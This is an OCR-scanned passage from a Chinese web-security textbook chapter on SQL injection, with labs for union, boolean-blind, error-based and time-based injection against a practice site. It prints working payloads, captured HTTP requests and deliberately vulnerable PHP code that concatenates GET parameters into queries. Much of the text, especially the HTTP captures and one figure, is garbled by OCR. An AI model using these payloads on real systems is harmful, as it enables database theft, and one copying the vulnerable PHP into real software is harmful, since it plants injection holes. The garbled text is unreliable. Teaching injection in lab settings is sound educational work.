e. tables ＋唱，hero+toblo_oehemo• ' oql ’ 4’limit+l ,l ) , 3 BTTP/l 1 
翻。，、： www ccctf e n 
。，.r-Agent• M。z立lla/S 0 (Mocint。eh; I n tel Moc OS X 10.12, rv 53 0) 
Geck。／ 20100101 Fir•f。x/ 53.0

Accept' text / html, opplicot>on/xht~l＋＝立，apphcat立。n/xml;q•O O ，• ／ 舍， g•O 8 
Acce p t-Lanquooe ' •h-ctl , 'h; g’ 0.8,on -OS;q•0.5,on , q•O l 
Accept-Enc。dino o•ip, deflate 
c。nnecti.。n : cl。．．

。pqrado-InHcure-Roqu.,ts' 1 

图4-16 利用Union注入获取第二个表名

Oa巳•· Fri ， 。 i Dec 2017 15.18 . 31 G饵’
Server· Apache 
X-P。wered-By • P目P / 5 6 3。

c。ntent-Len9th 16 
Connect i。，、· c l。．．
c。ntent-Typo. text/html; chor Ht•OTF-8 

referero ) <br> 

现在，所有的表名全部查询完毕， 己知库名和表名 ， 开始查询字段名 ， 这里以

emails表名为例，查询语句如下所示。

select column_name f「om information_schema . columns whe「E table_schema=’ sql' and 
table_name='emails' limit 0,1; 

尝试在2的位置粘贴语句，括号还是不可少 ， 结果如图4-17所示， 获取了emails

表的第一个字段名，通过使用limit 1 1 ， 获取了emails表的第二个字段名，如图4-18

所示。

G6’ 1. 
/ uni。n.php?id• l+uni。n+oelect+l , I Hlect令舍。lur.n na11e ＋乞ro11+inf。rae.t忌。n ache ' 
ma col四M帽horo+table_oehemo• ’叫l »and刊由le_nome• ' •••il• ' +Hait唱， l), 3
阻，，rP / l. l 

囚。'It : www.ccctf.cn 
0Hr-Aqont' M。•illo/ 5.0 (Macin笔。o h , Intel Mac OS X 10 12, rv 53 0) 
Gec ko / 20100101 Firefox/ 53 。
Accept ＇也oxt/htnl,applicoti。n /xht”且＋汩'1, applicoti。n /xml;q•O 9,• / ',q• O 8 
Accopt - Langoog9' 'h-ctl,,hiq• 0 . 8,en-OSiq•0.5,on;q•O 3 
Accept-Enc。ding. 0 ＇且p, deflate 
c。nnect忌。n: cl。．．

Dpgrode-InHcuro-Requeo毡，， 1

图4-17 利用 Union注入获取第一个字段名

GET 
/ uni。n php?id•-l+un孟。n+••l•ct+J ，《 a e lect+c。lumn_nome+from+inf。rmotion_•cho

!IA column•佣here+toble_echona• ' oql ' +and吨ablo_namo• ' emails ' +hmit＋吨川，3
BTTP / l l 

目。gt 二、rww.ccctf cn 
Door A9en乞 Ho:illa/ S .O (Hacint。oh; Intel Hoc 。S X 10.12, rv•53 0) 
Geck。／ 20100101 Firef。x / Sl.O

Ac copto text / htol, opp豆豆cat ion /xhtol＋~l, applicat1。n /xml;q•O 9 ,’ I • iq•O. 8 
Accept-Lang•••"' :h-C”,:h, q•O . 8, on-OS, q撼。， S,on ;q•O 3 
Accept-Enc。ding 9:ip, deflate 
c。nneet皂。n cl。．．

Opgrada- InHcu re-RaquHto. 1 

图4- 18 利用 Union注入获取第二个字段名

’TTP / l.l 20。。民
DotO< Fn, 01 Doc 2017 15·28 0’ GMT 
Server ' Apache 
X-P。wered-By. PBP / 5.6 30 
Contont-Len;th• 10 
c。nnecti。n • cl。‘·
c。nte nt-Typo • text / html; ch•rH也•O'l'F-8

品d ， .ιbr> 

- • I 百面／1.门00 01' 
Dato • Fri, 01 Doc 2017 15'29•09 GMT 
Serven Apache 
X-Powored -By. P园，／ 5 . 6 . 30 
c。n也ant-Length ' 16 
c。nnect哀。n· cloH 
Content-Typo' t ext / ht. l; choroet•DTF-8 

-•il i d . 3 <br> 

当获取了库名、表名和字段名时， 就可以构造SQL语句查询数据库的数据， 例如

查询宇段email_id对应的数据， 构造的SQL语句如下所示。

select email_id f「O『『1 sql.emails limit 0,1 ; 

结果如图4- 19所示，页面返回了email id的第一条数据。
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GET 
/ uni。n.php’ i.d•-l+un立。n+aelect ＋立， （ sehct+ema立l_id+tr。”.. ., ...且1 11+1 立mi巳＋。

'l) ,3 西TTP / l. l 
”。s t · www.ccctf en 
User-A9on也 2 缸。： illa / 5. 。（ Hacint。ah , Intel 阴AC OS X 10 12, rv'53 OJ 
Gack。/201 00101 FfrofoK/ 53 0 

• § BTTP/l.l 200 。.
Oat• Fri, Ol Oec 2017 15 33 06 GMT 
Sorve r · Apac h o 
X Poworod-By. PHP/5.6.30 
Con ten也－Length 24 
c。nnection : cl。，．

Accap" tut / h tml, applicau。n/xhtml+m吐， appl立cat豆。n ／~币liq•O 9 ,• / ’,q•O a 
Accept - Lon9ua9e • :h-CN,:h;q•O 8,on-OS;q•O 5,on;q• 0.3 

c。ntent -Typo' text / html; charoet回OTF-8

Accept-Enc。ding• q:ip , deflate Dumb9‘h11kka ” ， 0 0则 3<br>
c。nnecti。n : cl。．．
Opq r ado-In,.cure-Roquosts 1 

图4-19 利用Union注入获取数据

4.1 .5 Union 注入代码分析

在Union注入页面中，程序获取GET参数ID，将ID拼接到SQL语句中，在数据库

中查询参数ID对应的内容，然后将第一条查询结果中的usemame和address输出到页面，

由于是将数据输出到页面上的，所以可以利用Union语句查询其他数据，代码如下。

<?php 

$co「1 ＝『『1ysqli_connect ( "localhost 
if (r『1ysqli_connect_e「「no())

{ 
echo ”连接失败：”·『nysqli_connect_e「「O「（）；

} 
$id = $_GET[' id ’]; 
$「esult = mysqli_que「y($con ，” select ＊ 卡「om users whe「E 、 id 、 ＝” .$id);

$「ow = mysqli_fetch_a「ray （$「esult);
echo $「ow ［’ use 「name ’］．” ： ＂ . $「ow ［’ address'];

echo "<b「〉 ”；

?>

当访问id=1 union select 1,2,3时，执行的SQL语句为：

select * fr、om use「s whe「巴 、 id 、 ＝ 1 union select 1,2,3 

此时SQU吾句可以分为select * from users where 、 id、＝ 1和union select 1,2,3两条， 利

用第二条语句（Union查询）就可以获取数据库中的数据。

4.1 .6 Boolean 注入攻击

Boolean 注入攻击的测试地址： htφ ： ／／www.ccctf.cn/boolean.php?id= 1 。

访问该网址时，页面返回yes，如图4-20所示。

仅供非商业用途或交流学习使用
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G霉’ ／b。。lean php?id•l BTTP / l l 
B。atτwww.ccctf en 
Uuer-Aqent Mo＇立lla/5 0 (Mac止nto•h1 Intol Mac OS X 10 12, rv ’ 53 0) 
Geck。／ 20 1 00101 Fuefox/ 53 0 
Accept' text / htol,applicnti。n/xht.l+xnl, applicati。n/xml,q筐。，，• ／• ;q•O 8 
Accept-Lanqu•坠qo :h-CN,:h ,q•O 8,en”。S ,q•O 5,en,q•0.3 
Accept哼Enc。dinq' qdp, deflate 
c。nnect立。n· cl。..
Opqrade- I n•ecura-Requeots. l 

• I BTTP / l l 200 OK 
Data' Fri, 01 Dec 2017 16 , 05,00 G”’ 
servsr Apache 
X-Powered-By . POP / 5.6.30 
c。n tent-Lenqth · 2 
Connect且。n · c l ose 
c。n℃en乞－Type · text/ h tml; chnr .. t-UTF-8 

, .. 
圈4-20 访问id=l时页面的结果

在URL后添加一个单引号，再次访问，发现返回结果由yes变成no，如图4-2 1所示。
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Date: Fri ，。A Dec 2017 1 6:05 ：。O GM T 
Server Apache 
X-P。wered -By' P日P / 5 6 30 
c。n也ent-Lenoth · 2 
c。nnecti。n cl。..

c。ntent-Type · tex也 ／ht~l; char•ot•DTF-8 

• • HTTP/l l 200 。.

图4-21 访问id=l ’时页面的结果

访问id=l ’ and 1 =1 %23, id=l ’ and 1=2%23，发现返回的结果分别是yes和no，更

改ID的值，发现返回的仍然是yes或者no，由此可判断，页面只返回yes或no，而没有

返回数据库中的数据，所以此处不可使用Union注入。此处可以尝试利用Boolean注入，

Boolean 注入是指构造SQL判断语句，通过查看页面的返回结果来推测哪些SQL判断

条件是成立的，以此获取数据库中的数据。我们先判断数据库名的长度，语句如下

所示。

' and length(database()) >=l -• 
有单引号，所以需要注释符来注释。 l的位置上可以是任意数字，如’ and length 

( database())>=3一＋和’ and length( database() )>=4…＋，我们可以构造这样的语句，然后观

察页面的返回结果，如图4-22～图4-24所示。
,-... / b。。二••• .php?id•l ' +•nd+leno也.hfd豆e.:b•••n-，令•l---t- BTTP / l.l 
！ 园。lilt· www. ccctf en 
; our-Aqent ＇阴。z立llo/5 ，。 t 伺o.cint。oh, Intel 四QC 。6 T. 10 12, rv·53 O>
! Geck。/20 1。。101 F豆rot。x/ 53 0 
! Ace町t ' t&xt /htol，呻plication / xhtnl+xal ，町plicationh""l；俨0.9 ,' / •;q•O 8 
; Accept-La叫ua9e• 出－凹，：h;q•O 8,on』OSiq•O 5，剧，俨0 3 
Accept-Enc。dinq q:ip, detlate 

。 Conneeti。＂＇ c I。．．
1 •阴阳de-lnHcure-Requ.,ts l 

’‘ ’ 臼TTP/ l.l 200 。K
Oatoo Fri, Ol Dec 2017 16 17 26 G”’ 
Suver' Apache 
X-P。vorod-By· P园，／ 5.6 30 
c。ntent-Lenoth · 3 
c。nnecti。n• cl。..

c。ntant-Typa text/htnl; charoet•OTF-8 

,., 

图4-22 判断数据库库名的长度 (1 )

A R OTTP / l. l 200 。.
Oa<o. Fri, Ol Doc 2017 16,17.26 C凹’
Se<VO< ' Apache 
X-P。…rod-By POP/5 6 3 。

c。ntent”L•noth' 3 
Connection. cl。．．
c。n也Ont『Type' tex也／htol; charoet•DTF-8 

:csT / b。。loan php?孟d•1 +and+l•noth( do毡abaH() ）＞尊3 －－＋目TTP / l.l
！ ”。at : www ccctf en 
!o .. r-Aoent . ”。：illa/5.0 (M acintooh ; Intel '-•C 。s x 10.12, rv , 53.0) 
I Geck。/20100 I。 l Finf。x./ 53 0 
I Accept' uxt/html,application ／附tmlTml,呻plicat止。n/xml;q•O 9,• / •1q•0.8 
IAccept-Lnn9un9• ' :h－口l,:h;q•0.8,on-OSiq•O.S,en1q•O 3 
!Accept-Sncodinq ' g:ip, datlate 
i c。nneeti。n. cl。．．
[ Opqrado-Inoecure-RoquHt" l ,.. 

图4-23 判断数据库库名的长度 （ 2 )

仅供｜｜二商业用途或交流学习佼用



GET J画面oleo:画吾阮ii？主d磊 i ’＋and+lon，也h ( databa•• ( j f>•4--<’ BTTP/ 1.1 
4，。...”、， ccctf en 
。..r-Aoont ， ”。.illa / 5.0 (Macint。•hi Intol Mac OS X 10 .12 , rv 53 0) 
cecko/ 20100101 F孟rot。x / 53 . 0 
Accept' toxt / htol ,applicat豆。n / xhtml+xol, applic•军豆。n /xml,q•0.9 ，’／费； q•O 8 
Accept-Language ' 'h-CN , 'h; q•O B, on-US, q•O S, en; q•O 3 
Accept-Enc。d>ng gdp, detl•t• 
c。nnact i。n' cl。..
Op9r ado-Inaecure-Reque9to' 1 

图4-24 判断数据库库名的长度。）
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& BTTP/l. l 200 o• 
Oa.t.e: Fr豆， O l Doc 2017 16 •20 •55 GMT 
Server Apache 
X-P。••red-By> PBP/ 5.6 JO 
c。ntont-Lon9th 2 
c。nnoction cl。．．

Content-Type· toxt / ht•l; c har ao t • OTr-8 

然后可以发现当数值为3时，返回的结果是yes；而当数值为4时，返回的结果是

no。整个语句的意思是，数据库库名的长度大于等于3，结果为yes：大于等于4 ， 结

果为no，由此判断出数据库库名的长度为3 。

接着，使用逐字符判断的方式获取数据库库名。数据库库名的范围一般在a～z、

O～9之内，可能还有一些特殊字符，这里的字母不区分大小写。逐字符判断的SQL语

句为：

and subst「（ database(), 1, 1)= ' t ' - -+ 

subs往是截取的意思，其意思是截取database（）的值，从第一个字符开始，每次只

返回一个。

subs tr的用法跟limit的有区别，需要注意。 limit是从O开始排序，而这里是从1开

始排序。 可以使用B吨的爆破功能爆破其中的Y值，如图4-25所示，发现当值是s时，

页面返回yes，其他值均返回no，因此判断数据库库名的第一位为s，如图4-26所示。

GET / b。。lean .php?id=l ' +and+substr (database( ) , 1, l 户 ’直主到’ 一＋ 日TTP / l. l 
日。g℃： www . ccctf.cn

User-Agent ：”。zilla/ 5. 0 (Mac立nt。sh, Intel Mac OS X 10.12; rv : S3.0) Geck。／ 20 100101 Firef。x/ 53.0

Accept: text /html,appl孟ca℃1。n /xhtml+xml,appl正cati。n /xml;q=0.9 ， 台 ！• ； q=0.8
Accept臼Language: zh-CN,zh;q=O 8,en －口S;q=O 5,en;q=0.3 
Accept-Enc。d ing: gzip, deflate 
c。nnecti。n: cl。se

。pgro.da－工nsecure-Reques乞. • 1 

图4-25 利用substr判断数据库的库名

仅供｜｜＝附业HJ途!llG交流学习使用
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工5日雨雨；可
百~

BTTP /1 . 1 200 。x
Do.t a · Fr立 ， o 1 Dec 2 017 16:33·33 GM T 
Server. Apo.cha 
X-P。内，ered-By · P臼P / 5.6 .30

c。ntent-Length: 3 
c。nnec乞i。n cl。 se

c。ntent-Type. t ext/ht1> l, c h ors e t=OTF-8 

r•• 

利用Burp爆破数据库库名

其实还可以使用ASCII码的字符进行查询， s的ASCII码是115，而在MySQL中，

ASCII转换的函数为ord，则逐字符判断的SQU吾句应改为如下所示。

图4-26

’ and ord ( substr (database(), 1, 1)) =115- -+ 

8HP/Ll 2。。。.
Date: Fri，。1 。•c 2。 17 16ι30 .oa c蝇，
Server : Apacl、．

X-P。wer•d-By z ’BP/5 .6. 30 
。。”ten‘＇－Len，雹h 3 
c。”n•c’＇ i。n : c忌。．．
c。nt•nt －’ypeo ＜•＞区也／h毡，a1 char .. t•。，F，’

,., 

结果如图4-27所示，返回的结果是yes 。
CET /b。。i.. n.php?id•l ＂ φand＋。rd( oubotr(databo .. （》，孔， 1))•115－－＋钮’OTP/L 1 
，。＂＇ ＇ 回咱”’ .ecct f en 
。...”‘.... ＂。：illo/S 。 t ”ocin笔。oh1 In龟..”..。S X 10.12; rv:S3.0) 
C•cko /20100101 Firof。x/53 ，。
Aec•pt: t•xt /htol,applic•‘ti。n /xht•l喝’况，•l，‘”licati。n／粟，l;q•0.9,• /•1q•。．·
Acc•p•-IAn•u•• .. :h-cn, :h1q•O . 8 ,•n-os1q•。 .S,on1q•0 . 3
Acc•pt-Enc。ding: •• , .. d•tl•t• 
Conn•ct豆。n: el。．．
Op•r•d• - t n .. e uro-RaquHt•' l 

因此判断第二位字母是否是q ,

利用。「d判断数据库库名

从Union注入中我们已经知道， 数据库名是＇sq！’ ，

可以使用以下语句 。

图4-27

仅供｜非商业用诠或交流学习佼用

’ and subst「（ database() , 2, 1)= ' q ' …+ 

结果如图4-28所示， 返回的结果是yes 。
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””’J 1 .1 200 。，R
Oat•: Fri，。 I O•c 2017 16,38'4。 G饵，

Gorvor' Apoch• 
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c。ntont-IAnoth . J 
Conn•c也1。n : cl。．．
c。ntont-1'yp9' tox毡，ht•I; chor .. t•”’r -s 

GI‘T ，画。。uan .pnp1id•l · +ond+•ub•tr(dotobo ..《）， 2,l 】• ＇ q ’－－喝’ ”’1'P/l l 
B。at: "'"'·CCC:也t.cn
…r-Ao•”‘ ＇ l唱。：illo/ 5. O ( M•cint。•h1 I nto且’<oc 。S ' I。 .12: rv:SJ 0) 
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c。nn•ction • c >lo••’POr•d•-Xn .. curo-R•quHt•: l , . . 

图4-28 利用subst「判断数据库的库名

查询表名 、 宇段名的语句也应粘贴在database（）的位置，从Union注入中已经知道

数据库’sql’的第一个表名是emails ， 第一个字母应当是e，判断语句如下所示。

’ and substr((select table_name 俨俨om infer吁nation_schema.tables where 
table_schema= ’ sql ' limi t 0,1) , 1, l)= ' e'--+ 

结果如图4-29所示 ， 我们的结论是正确的， 依此类推， 就可以查询出所有的表名

与字段名。
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图4-29 利用subst「判断数据库的表名

4.1.7 Boolean 注入代码分析

在Boolean注入页面中程序先获取GET参数ID ， 通过preg_match判断其中是否存

在union/sleep/benchmark等危险字符。 然后将参数ID拼接到SQL语句，从数据库中查

询，如果有结果，则返回yes ， 否则返回no o 当访问该页面时，代码根据数据库查询

结果返回yes或no，而不返回数据库中的任何数据，所以页面上只会显示yes或no，代

码如下所示。

<?php 
$con=mysqli_connect （” localhost ＂，”户oat ” ，” 123456门 ”test ” ） ; 
if (mysqli_connect_e「「no())

{ 
echo ”连接失败 ： ” . mysqli_connect_e「ro「（）；

} 
$id = $_GET[' id ’]; 
if (p 「eg_match （”／ unionlsleeplbenchma rk/i ’＂ $id)) { 

exit("n。”）；

仅供非商业用途或交流学习使用
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} 
$「esult = mysqli_que「y($con,"select ＊ 于「om use「s whe「e 、 id ‘ ＝＇” .$id. ”·”）；

$「ow = mysqli_fetch_a「「ay （$「esult); 
if （$「ow) { 

exit (”yes"); 
}else{ 
exit （” n。”）；

?>

当访问id=l『 or 1=1 %23时， 数据库执行的语句为select * from users where 、 id、＝’ 1 ’

or 1 =1＃，由于or 1= 1是永真条件，所以此时页面肯定会返回yes 。 当访问id= l' and 

1=2%23时，数据库执行的语句为select ＊仕om users where 、 挝、＝’ 1 ’ and 1 =2＃ ， 由于and

’ 1'='2’是永假条件，所以此时页面肯定会返回no 。

4.1.8 报错注入攻击

报错注入攻击的测试地址： http: //www.ccctf.cn/sql/eπor.php?usemame= 1 。

首先访问http : //www.ccctf.cn/sql／巳盯or.php?usemame= 1’，因为参数usemame的值是

r， 在数据库中执行SQL时 ， 会因为多了一个单引号而报锚，输出到页面的结果如图

4-30所示。
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图4-30 访问id=l’时页面的结果

通过页面返回结果可以看出，程序直接将错误信息输出到了页面上，所以此处

可以利用报错注入获取数据。 报错注入有多种格式，此处利用函数updatexml（）演示

SQL语句获取user（）的值， SQL语句如下所示。

’ and updatexml(l , concat （ θx7e,(select use「（））， θx7e) , 1 ）－→

其中Ox7e是ASCII编码，解码结果为～，如图4-3 1所示。

仅供非商业用途或交流学习使用
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• I 1mp7f丁了丁苦盲。K

Date· Fri , 22 Dec 2017 。‘ .28:04 GMT 
server< Apache 
，《－·。、，ered田By ’ PKP/5 6 30 
c。ntant-Lenqth • 38 ’<eep-Alive • time。ut•S, max•lOO 
c。nnec:ti。n • Keep-Alive 
c。ntent-Type • text/html : charoet•U.,-9 

XPA'fB • YDtax err。x I '-r。。Ul。ealb。st-•

图4-31 利用updatexml获取use「（）

然后尝试获取当前数据库的库名，如图4-32所示，语句如下所示。

’ and updatexml(l,concat(0x7e,(select database()),0x7e),1)--+ 

GET I• 
/oql/err。r. php>usernome•l 'and+updotex•l ( l, c。ncat(Ox7e, (oelect+datab•••( l 
｝，。旧时，叫一＋ KTTP/l. l 
衍。st• www.ccctf.cn 
Uoer-Aqent • H。•illa/5 O (Hacint。sh: In乞el Mac 。s x 10.12: rv.53 O) 
Gecko/20100101 Fire£。x/53. 0 
Accept< 
to巢’＇／html , applicati。n／筑b龟ml+xml, applicati。n/xml: q•O. 9, •/., q•O. 8 
Accept -Lanquaqe• •h-CN, zh:q•O. 8 , en- US;q•O. 5,en,q•O. 3 
Accept-Enc。ding• qzip, deflate 
c。。ki••
c。nnocti。n • keep-alive 
Upgrade-Insecure-Requests• l 

HffP7l.T丁百百 OK
Date• Fri, 22 Dec 2017 ... ,,.,, GMT 
Servan Apache 
X-P。wered-By PHP/5.6.30 
c。ntent-Lengtb . 27 
Keep-Alive' time。ut胃5, max•lOO 
connect！。n • Keep-Alive 
c。ntent-Type text/html: charoet•OTF 8 

••••• • ，.乞u •rr。x z ” ·oql- ' 

图4-32 利用updatexml获取database()

接着可以利用select语句继续获取数据库中的库名、表名和宇段名，查询语句与

Union注入的相同。 因为报错注入只显示一条结果，所以需要使用limit语句。构造的

语句如下所示。

’ and updatexml(l , concat(0x7巴，（ select schema_name from in于ormation_schema.schemata

limit 0,1),0x7e),1)--+ 

结果如图4-33所示，可以获取数据库的库名 。

- 一一二 1. 
/•ql/err。r . php>uoern.,e•l '+and+updatoxml( l,concat( Ox7e, (aalocHoch"""-"" · 
me+f军。m+in军。rinati。n_ochema .. chamata+l止mit+O,lJ , Ox7aJ ，主）－－＋ KTTP/l 1 
”。at< """ ccctf cn 
。oer-Aqanto Kozilla/5.0 (Hacint。sh ; Intel Mac 。S X 10.12: rv'53.0) 
Gack。，2010。101 Fire去。x/53 0 
Accapt< 
text/html, applicati。n/xhtml+xml, applicotion ／；比•l:q•。，，•／•： q•O 8 
Accap也－Lan9ua9a• •h-CH,rh1g-0.8,an-US:q•。 5,an;q•0.3
Accapt-Enc。ding • 9'ip, deflate 
c。。kia• id•l; PKPSESSID-el…215'.'] fc4b806••2bd8£8. 7 5”, 
Dodo Log正nTi.. •1513836008, DedaLoqinTi豁•－c1®15”。cac8fb0e732533a
c。nnecti。a • keep-alive 
Upqrade-I naecure -RequHta • l 
Cacbe-C。ntr。i : max-aqe•。

萃，ATa a yntax err。r1 ＇ 句inf。rmat.i。n_ochoma-

丽丽ri:了丁丽。K

Date· Fri, 22 Deo 2017 04'34'46 ~”’ 
Sorvoro Apache 
X-P。wared-By• PHP/5 6 30 
c。ntont-Langth' 42 
’电oep-Alive' ti ..。ut•5, •ax•lOO 
c。nnec龟豆。n• Ke•p·Alive 
c。ntent-Typo• tax也／htol, char.et民U'!'P-B

图4-33 利用报错注入获取数据库库名

如图4-34所示，构造查询表名的语句，如下所示，可以获取数据库test的表名。

’ and updatexml(l, concat(0x7e, (select table_name 于「om info「「nation_schema. tables wh e「E
table_schema=’ test ’ limit 0,1),0x7e),1 )…+ 

仅供非商业用途或交流学习使用
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GET 
/sql/error. pbp?usorname•l '+and+updat exml I 玉 ， coneat I Ox7e, ( select+table_nam 
e＋歪rom+informati。n_schema tabl es+whero+table schema• sql' +limit+O, 1) , Ox7 
e),1)- + HTTP/l 1 
H。at. www . ccctf.cn 
User-Agent< Mozilla/5 . 0 (Macint。ah, Intel Mac OS x 10. 12; rv-53.0) 
Geck。／20100101 Firsf。x/SJ. 0 
Accept' 
text/html, applicati。n/xh也ml+xml , applicati。n/xml;q•O . 9, •/• •q• O, 8 
Accept Language zh-CN , zb; q•O. 8 , en-US ；电• 0 S,e民；q•0 .3

Accept-Enc。dinq' qdp, deflate 
c。。kie ' id•l ，，窟，SESSID•elea4215 9a73 fc4b806aa2bd8f887599, 
DedeL。gin<i思0•1513836008, DodeIρginT ime_ckMdS•Ocac8军b0a732533s
c。nnecti。n. ksop-alive 
Upgrade-Insecure Requestoo 1 
Cache-c。ntr。l' max-age•O 

图4-34 利用报错注入获取数据库表名

4.1.9 报错注入代码分析

A I HTTP 7l.T2QO OK 
Date• Fri, 22 Dec 2017 04,36•05 GMT 
Serven Apache 
X-P。‘’ered-By• P”P/5.6 30 
c。ntent-Length' 30 
Keep-Alive. time。ut•S, max• l OO 
c。nnecti。＂＇ Keep-Alive 
c。ntent-Type' text fh tml' charset•UTF-8 

XPATB syutu orr。＂ - emails-

在报错注入页面中，程序获取GET参数usemame后，将usemame拼接到SQL语句

中，然后到数据库查询。如果执行成功，就输出 ok；如果 出 错， 则通过echo

m ysqli _ error($con）将错误信息输出到页面 Cmysqli_eηor返回上一个MySQL函数的错

误〉，代码如下所示。

<?php 

$con＝『『1ysq li_connect (” localhost ”," root ”,”1 23456", ”t est ”) ; 
if (mysqli_connect_errno()) 

{ 
echo ”连接失败：”. mysqli_connect_e「「O「 （）；

} 
$use「name = $_GET ［’ use「name'];

if （$「esult = mysqli_que「y($con ， ” se lect ＊ 于「om users where 
、 use「name‘＝ ’” . $1』se「name . ” · ”））｛

echo ”ok” ; 
}else{ 

echo mysqli_error、（ $con);

} 
?>

输入usemame=l ’时， SQL语句为select ＊企om users w here 、usemame、＝’ l ”。执行时，

会因为多了一个单引号而报错。利用这种错误回显，我们可以通过floor（） 、 updatexml()

等函数将要查询的内容输出到页面上。

仅供非商业用途或交流学习佼用
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4.2 SOL 注入进阶

4.2.1 时间注入攻击

时间注入攻击的测试地址： http://ccctf.cn/sql/time/time.php?id= 1 。

访问该网址时，页面返回yes，在网址的后面加上一个单引号，再次访问，页面

返回no。这个结果与Boolean注入非常相似，本小节将介绍遇到这种情况时的另外一

种注入方法一一时间盲注。 它与Boolean注入的不同之处在于，时间注入是利用sleep()

或benchmark（）等函数让MySQL的执行时间变长。 时间盲注多与IF(expr l ,expr2,expr3) 

结合使用，此ifi吾句含义是：如果exprl是TRUE，则IF（）的返回值为expr2；否则返回

值则为expr3 。 所以判断数据库库名长度的语句应为：

i手（ length (database())> 1, sleep ( 5), 1) 

上面这行语句的意思是，如果数据库库名的长度大于1 ，则MySQL查询休眠5秒，

否则查询 1 。

而查询 l的结果， 大约只有几十毫秒，根据Burp Suite中页面的响应时间，可以判

断条件是否正确，结果如图4-35所示。
GET 
l•ql/ti•o/<ioo pbp?idol .... "1'1£( len9t h (de"b<H()’,, .. , .. 
""' 1 》－－＋拢’'TP/1 1 
”。．思τccctf.cn
。••r-Ag"•nt’”。dlla1' .0 I ”·巳 in毯。•h; In<ol Kac 。s ' 
10.12, rv.SJ OJ Gocko/20100101 Pi'9f。x / 53.0
J\<copto 
＇＂＂毡，b笆，，l,opplicoti。＂＂‘h也•h~l,opplic•tion /x翠l;qo。．’，．，－

··-··’ J\ccopt -Lan;uo;•• th-CN, th ; q•O . 8,on-UO,q•O . O,on,q•O . l 
Aocopt-•nc。din9' 9'ip, dafloto 
c。nnecti。”’···•－•li••
Up;rodo- I nHcut•- .. qu••‘.. 1 

· · 丽百π？ττ00否真
sorvo ro n;inxll. 8 . 1 
Dat.•1 ”。n . 04 。•c 20且，。，，3’ 1 12 G”’ 
Contuit斗，.. . ....，肚•lo charHt•on-t 
c。nn•c t ion• kHp..olh• 
vorr• Accop乞－Enc。din;
，＿，。电’or••-•r息，施，r/ 5 6 . 30 
eont•n<-Lon;th • l 。

<htP<body>oo</bodf~ ／ btal> 

巴巴巴巴 ＇＇＂＂＇＂＂.’um 曰白白白
Oont 

图4-35 利用时间盲注执行sleep()

仅供非商业用途或交流学习使用



108 ~ Web安全攻防 ： 渗透测试实战指南

可以看出，页面的响应时间是5267毫秒，也就是5.267秒，表明页面成功执行了

sleep（匀，所以长度是大于l的，我们尝试将判断数据库库名长度语句中的长度改为10,

结果如图4-36所示。
GET ’•ql/tim•/tima.pbpHd•l '+and+if(lan;th{databa••() l'’10 • .i. 
op(5).l )- -+”’TP/l.l 
”。•t< ccctf en 
。Hr-•qent< ”。'1ll a /5 . 0 ( Hacin注。oh; Intel Hae OS X 
10 . 12; r v'5J 0 ） 。ee k。/20 1 00 1 0 1 Pirefox/53 . 0 
Mee p t< 
.. ，‘t/html , appl立cat！。n/xhtml＋~l , applicati。n/xml , q•0 . 9 ,• /•

..”。..
"<copt-Lanqu•••' r h -CN, rh;q•O . e , •n- US:q•O. 5, en ; q-0 . J 
-.copt-Enc。din•• •"• · deflate 
c。nnecti。n : keep-al立..
up,rade-tnsacure-Roquea to ' 1 

‘ I HTTPπ？了τ古＇° ＇
so言’or: nqinx/l . 8. 主

Date 1 Hon，。‘ Dec 20 17 O”‘。S＂岱怦
c。ntant－’，.，，.， toxt/htal: c herHt•OTP-8 
c。nnec ti。思， keep-alive

Ver y · • ccept Eno。din•

X －，。‘＇ered . .. PNPI 5" J 0 
c。n也e n毡’Lanqth• Jl 

<htm><b。dy>yH</b。dy~／html>

曰曰曰曰 l!!"'－＇.~曰“＇.＇＿~飞～→…一一J o""''"; i 巴巴巴巴巴巴但·~－－－
。。..

图4-36 利用时间盲注执行select 1 

i‘ 

可以看出，执行的时间是0.404秒，表明页面没有执行sleep（匀，而是执行了select

1 ，所以数据库的库名长度大于10是错误的。通过多次测试，就可以得到数据库库名

的长度。得出数据库库名长度后，我们开始查询数据库库名的第一位字母。 查询i吾

句!Eli!Boolean盲注的类似，使用substr函数，这时的语句应修改为：

if(subst「（ database(), 1, 1)=’ s',sleep(S),1) 

结果如图4-37所示。



第4章 Web安全原理剖析 ~ 109 

. .

. 

10· 

x

-

o 

}

q

- 

ts·

·
q 

．
。

A
Z

--

n 

-

ex

- 

b··

’ 

-

Mons 

－‘

．
。
．

·L3Lo d

--
t· 

t

毡
’
’

·
·
q

’-

nnc

: 

t
z

。

A
S

--

elu 

b

--

P

- 

uhzpn ··aa

- 

t

。
，
，

Et

-- 

AnL··· 
A’

A
O

泪
。
，
、

dea

--
··a 

naozql 
·
”
。
，
；

g

a

AVIt

---
Lb·

- 

ohzdt 

1
1
0
2

篇
，
．

J

’’’’

N

, .. 

d
p
s

。

n
c
p

”
，
“U

i--
fko

-ia
Aq 

HmutudFUM 
h

l

e
·

噜

－

P
φ
i
c
s

z

p
·
 

-
z34

., 

.. ‘ 

--
no029n

-
u 

-
3
CMRpaa

&ko 

a--
3pud

- 

－
‘
，
f

·

s
·

－
。... 

，
，
、
，

－L
E

’

e

n
e
n
n

H
川
出
M
H
M
M
h
H
4

19egg

----

t· 

.‘ .. 
a3thatted 

,,-
s-2P

,,-
PP·

- 

‘Alt·

‘z-
to

--
nz 

-zq····cua

-
ecnq 

s
·

，
。
－

o
c

－

q
c
c

。

P

G
’
’
”
。

a
a

s

：

A
A
C
U

1ITTP7T:l丁百＇＂＂
suvoro n9i~／ I. 8.) 
Date ：”。n，。．。•c 2017 o’ Z 50133 c，何
c。ntent-Typoεext/htol' charHt•UTP-8 
c。nn.cti。n• keep-oli守．
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图4-37 利用时间盲注获取库名

可以看出，程序延迟了5秒才返回，说明数据库库名的第一位字母是s，依此类推

即可得出完整的数据库的库名、表名、宇段名和具体数据。

4.2.2 时间注入代码分析

在时间注意注入页面中，程序获取GET参数ID，通过preg_match判断参数ID中是

否存在Union危险宇符，然后将参数ID拼接到SQL语句中。从数据库中查询SQL语句，

如果有结果，则返回yes，否则返回no 。 当访问该页面时，代码根据数据库查询结果

返回yes或no，而不返回数据库中的任何数据，所以页面上只会显示yes或no，和

Boolean注入不同的是，此处没有过滤sleep等字符，代码如下所示。

<?php 
$con=mysqli_connect （” localhost ”，”「oat门” 123456 ”，”test ”） j 

if (mysqli_connect_e「「『10())

{ 
echo H连接失败： ＂ . mysqli_connect_e「「O「（）；

} 
$id = $_GET [’ id ' ] j 
i卡（ pr、eg一『『1atch (”/union/i 

